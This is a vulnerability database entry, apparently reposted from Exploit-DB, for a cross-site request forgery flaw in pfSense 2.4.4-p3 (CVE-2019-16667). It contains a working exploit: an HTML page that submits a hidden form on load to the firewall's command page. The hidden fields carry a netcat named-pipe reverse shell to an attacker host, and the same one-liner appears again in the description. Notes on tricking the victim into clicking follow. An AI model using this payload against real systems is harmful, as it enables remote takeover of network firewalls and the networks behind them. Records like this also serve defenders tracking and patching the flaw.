pfSense 2.4.4-p3 Cross Site Request Forgery

🗓️ 27 Jul 2020 00:00:00Reported by ghost_fhType

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pfSense 2.4.4-p3 Cross Site Request Forgery vulnerability allows RCE via crafted lin

Reporter	Title	Published	Views	Family All 8
0day.today	pfSense 2.4.4-p3 - Cross-Site Request Forgery Vulnerability	27 Jul 202000:00	–	zdt
CNVD	pfSense Cross-Site Request Forgery Vulnerability (CNVD-2019-43356)	27 Sep 201900:00	–	cnvd
CVE	CVE-2019-16667	26 Sep 201918:38	–	cve
Cvelist	CVE-2019-16667	26 Sep 201918:38	–	cvelist
Exploit DB	pfSense 2.4.4-p3 - Cross-Site Request Forgery	26 Jul 202000:00	–	exploitdb
NVD	CVE-2019-16667	26 Sep 201919:15	–	nvd
Prion	Cross site request forgery (csrf)	26 Sep 201919:15	–	prion
RedhatCVE	CVE-2019-16667	7 Jan 202609:30	–	redhatcve

`# Exploit Title: pfSense 2.4.4-p3 - Cross-Site Request Forgery  
# Date: 2019-09-27  
# Exploit Author: ghost_fh  
# Vendor Homepage: https://www.pfsense.org/  
# Software Link: https://www.pfsense.org/download/index.html?section=downloads  
# Version: Till 2.4.4-p3  
# Tested on: freebsd  
# CVE : CVE-2019-16667  
  
# Vulnerability Description :- The pfsense firewall is vulnerable to RCE  
# chained with CSRF as it uses `csrf magic` library since it allows to tamper  
# the CSRF token values submitted when processing the form requests. Due to  
# this flaw, an attacker can exploit this vulnerability by crafting new page  
# that contains attacker's controlled input such as a "reverse shell" (eg:  
# `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip port  
# >/tmp/f`token value) in the form and entice the victims to click  
# on the crafted link via social engineering methods. Once the victim clicks  
# on the link (try again button in this case), the attacker can take the  
# lateral control of the victim's machine and malicious actions can be  
# performed on the victim's behalf.  
  
<!DOCTYPE html>  
<html>  
<body onload="document.createElement('form').submit.call(document.getElementById('myForm'))">  
<form id="myForm" action="https://pfsense_ip/diag_command.php" method="POST">  
<input type=hidden name="txtCommand" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|  
nc attacker_ip attacker_port >/tmp/f">  
<input type=hidden name="txtRecallBuffer" value="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i  
2>&1|nc attacker_ip attacker_port >/tmp/f">  
<input type=hidden name="dlPath" value="">  
<input type=hidden name="txtPHPCommand" value="">  
<input type="hidden" name="submit" value="EXEC">  
</form>  
</body>  
</html>  
  
# Create a malicious page containing the above values and once user clicks on malicious link,   
# he will be redirected to https://pfsense_ip/diag_command.php page.  
# Victim will be greeted with the "Try again" button.  
# Once victim clicks on the "Try again" button you will be greeted with reverse shell of the victim.  
`

27 Jul 2020 00:00Current

0.5Low risk

Vulners AI Score0.5

EPSS0.56098